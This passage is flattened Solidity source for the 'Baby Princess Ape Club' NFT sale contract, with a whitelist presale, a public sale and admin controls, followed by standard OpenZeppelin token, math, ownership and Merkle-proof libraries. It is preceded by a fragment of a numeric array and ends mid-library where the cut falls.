445,
9563,
1504,
304,
12,
203,
3639,
467,
654,
39,
23,
28946,
11353,
38,
15318,
264,
5971,
16,
203,
3639,
1758,
1147,
16,
203,
3639,
2254,
5034,
3844,
16,
203,
3639,
1731,
745,
892,
501,
203,
565,
262,
1071,
5024,
3849,
1135,
261,
6430,
13,
288,
203,
3639,
2583,
12,
8949,
1648,
943,
11353,
1504,
304,
12,
2316,
3631,
315,
654,
39,
3462,
11353,
49,
474,
30,
3844,
14399,
943,
11353,
1504,
304,
8863,
203,
3639,
2254,
5034,
14036,
273,
9563,
14667,
12,
2316,
16,
3844,
1769,
203,
2
]
|
// SPDX-License-Identifier: MIT
pragma solidity >= 0.8.0;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721EnumerableUpgradeable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
// Baby Princess Ape Club(B.P.A.C)
contract BPAC is ERC721EnumerableUpgradeable, OwnableUpgradeable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
string baseURI;
// Token name
string internal ext_name;
// Token symbol
string internal ext_symbol;
struct PaymentOption {
address token_addr;
uint256 price;
}
struct PaymentInfo {
// A token address for payment:
// 1. ERC-20 token address
// 2. adderss(0) for ETH
address token_addr;
uint256 price;
uint256 receivable_amount;
}
// public sale purchage limit: maxmimum number of NFT(s) user can buy
uint32 public_sale_purchase_limit;
// `presale limit` is part of the merkle proof, so it is not here
// total NFT(s) in stock
uint32 total_quantity;
// whitelist sale start time
uint32 presale_start_time;
// public sale start time
uint32 public_sale_start_time;
// public sale end time
uint32 public_sale_end_time;
// total number of NFT(s) sold
uint32 sold_quantity;
// payment info, price/tokens, etc
PaymentInfo[] payment_list;
// treasury address, receiving ETH/tokens
address payable treasury;
// how many NFT(s) purchased: public sale
mapping(address => uint32) public public_purchased_by_addr;
// how many NFT(s) purchased: presale
mapping(address => uint32) public presale_purchased_by_addr;
// smart contract admin
mapping(address => bool) public admin;
// whitelist sale end time
uint32 presale_end_time;
// not used anymore, just leave it here to keep `storage` compatible
uint32 reveal_start_time;
mapping(bytes32 => bool) public merkleRoots;
uint256 presale_price;
function initialize(
uint32 _public_sale_purchase_limit,
uint32 _total_quantity,
uint32 _presale_start_time,
uint32 _presale_end_time,
uint32 _public_sale_start_time,
uint32 _public_sale_end_time,
PaymentOption[] calldata _payment,
bytes32 _merkle_root,
address payable _treasury,
uint256 _presale_price
)
public
initializer
{
// workaround: stack too deep
baseURI = "https://raw.githubusercontent.com/PrincessApeClub/NFTAsset/master/";
ext_name = "Baby Princess Ape Club";
ext_symbol = "BPAC";
__ERC721_init(ext_name, ext_symbol);
__ERC721Enumerable_init();
__Ownable_init();
public_sale_purchase_limit = _public_sale_purchase_limit;
total_quantity = _total_quantity;
presale_start_time = _presale_start_time;
presale_end_time = _presale_end_time;
public_sale_start_time = _public_sale_start_time;
public_sale_end_time = _public_sale_end_time;
for (uint256 i = 0; i < _payment.length; i++) {
if (_payment[i].token_addr != address(0)) {
require(IERC20(_payment[i].token_addr).totalSupply() > 0, "invalid ERC20 address");
}
PaymentInfo memory payment = PaymentInfo(_payment[i].token_addr, _payment[i].price, 0);
payment_list.push(payment);
}
merkleRoots[_merkle_root] = true;
treasury = _treasury;
presale_price = _presale_price;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
return string(abi.encodePacked(baseURI, "json/", StringsUpgradeable.toString(tokenId), ".json"));
}
function _baseURI() internal view override virtual returns (string memory) {
return baseURI;
}
function name() public view virtual override returns (string memory) {
return ext_name;
}
function symbol() public view virtual override returns (string memory) {
return ext_symbol;
}
function publicSaleMint(uint8 number_of_nft)
external
payable
{
require (public_sale_start_time < block.timestamp, "public sale not started");
require (public_sale_end_time >= block.timestamp, "public sale ended");
_mint(number_of_nft, true, payment_list[0].price);
}
function presaleMint(
uint256 index,
uint256 amount,
bytes32 root,
bytes32[] calldata proof
)
external
payable
{
// for this project, presale: `only 1 for each wallet`
require (presale_start_time < block.timestamp, "presale not started");
require (presale_end_time >= block.timestamp, "presale expired");
require (merkleRoots[root], "invalid merkle root");
// validate whitelist user
bytes32 leaf = keccak256(abi.encodePacked(index, msg.sender, amount));
require(MerkleProof.verify(proof, root, leaf), "not whitelisted");
require(presale_purchased_by_addr[msg.sender] < amount, "exceeds personal limit");
presale_purchased_by_addr[msg.sender] += 1;
_mint(1, false, presale_price);
}
function _mint(
uint8 number_of_nft,
bool public_sale,
uint256 price
)
internal
{
require(tx.origin == msg.sender, "not real user");
uint32 bought_number = public_purchased_by_addr[msg.sender];
if (public_sale) {
require((bought_number + number_of_nft) <= public_sale_purchase_limit, "exceeds public sale limit");
}
require(sold_quantity < total_quantity, "no NFT left");
uint8 actual_number_of_nft = number_of_nft;
if ((sold_quantity + number_of_nft) > total_quantity) {
actual_number_of_nft = uint8(total_quantity - sold_quantity);
}
{
uint256 total = price;
total = total.mul(actual_number_of_nft);
require(msg.value >= total, "not enough ETH");
uint256 eth_to_refund = msg.value - total;
if ((number_of_nft > actual_number_of_nft) && (eth_to_refund > 0)) {
address payable addr = payable(_msgSender());
addr.transfer(eth_to_refund);
}
{
// transfer to treasury
treasury.transfer(total);
}
payment_list[0].receivable_amount += total;
}
{
for (uint256 i = 0; i < actual_number_of_nft; i++) {
_safeMint(_msgSender(), totalSupply());
}
if (public_sale) {
public_purchased_by_addr[msg.sender] = bought_number + actual_number_of_nft;
}
sold_quantity = sold_quantity + actual_number_of_nft;
}
}
function adminMint(uint256 count) external onlyAdmin {
for (uint256 i = 0; i < count; i++) {
_safeMint(_msgSender(), totalSupply());
}
}
function getNFTInfo()
external
view
returns (
address _owner,
string memory _name,
uint32 _public_sale_purchase_limit,
uint32 _total_quantity,
uint32 _presale_start_time,
uint32 _presale_end_time,
uint32 _public_sale_start_time,
uint32 _public_sale_end_time,
uint32 _sold_quantity,
PaymentInfo[] memory _payment_list,
uint256 _presale_price
)
{
_owner = owner();
_name = name();
_public_sale_purchase_limit = public_sale_purchase_limit;
_total_quantity = total_quantity;
_presale_start_time = presale_start_time;
_presale_end_time = presale_end_time;
_public_sale_start_time = public_sale_start_time;
_public_sale_end_time = public_sale_end_time;
_sold_quantity = sold_quantity;
_payment_list = payment_list;
_presale_price = presale_price;
}
function setTime(
uint32 _presale_start_time,
uint32 _presale_end_time,
uint32 _public_sale_start_time,
uint32 _public_sale_end_time
) external onlyAdmin {
presale_start_time = _presale_start_time;
presale_end_time = _presale_end_time;
public_sale_start_time = _public_sale_start_time;
public_sale_end_time = _public_sale_end_time;
}
// reveal mystery box
function setBaseURI(string memory _baseURI_) external onlyAdmin {
baseURI = _baseURI_;
}
function setName(string memory _name) external onlyAdmin {
ext_name = _name;
}
function setSymbol(string memory _symbol) external onlyAdmin {
ext_symbol = _symbol;
}
function setPresalePrice(uint256 _presale_price) external onlyAdmin {
presale_price = _presale_price;
}
function setMerkleRoot(bytes32 root) external onlyAdmin {
merkleRoots[root] = true;
}
modifier onlyAdmin() {
require(owner() == _msgSender() || admin[_msgSender()], "caller not admin");
_;
}
function addAdmin(address[] memory addrs) external onlyOwner {
for (uint256 i = 0; i < addrs.length; i++) {
admin[addrs[i]] = true;
}
}
function removeAdmin(address[] memory addrs) external onlyOwner {
for (uint256 i = 0; i < addrs.length; i++) {
admin[addrs[i]] = false;
}
}
function setTotalSuply(uint32 _total_quantity) external onlyOwner {
total_quantity = _total_quantity;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC721Upgradeable.sol";
import "./IERC721EnumerableUpgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721EnumerableUpgradeable is Initializable, ERC721Upgradeable, IERC721EnumerableUpgradeable {
function __ERC721Enumerable_init() internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC721Enumerable_init_unchained();
}
function __ERC721Enumerable_init_unchained() internal initializer {
}
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165Upgradeable, ERC721Upgradeable) returns (bool) {
return interfaceId == type(IERC721EnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Upgradeable.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721EnumerableUpgradeable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721Upgradeable.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721Upgradeable.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
uint256[46] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
// Check if the computed hash (root) is equal to the provided root
return computedHash == root;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
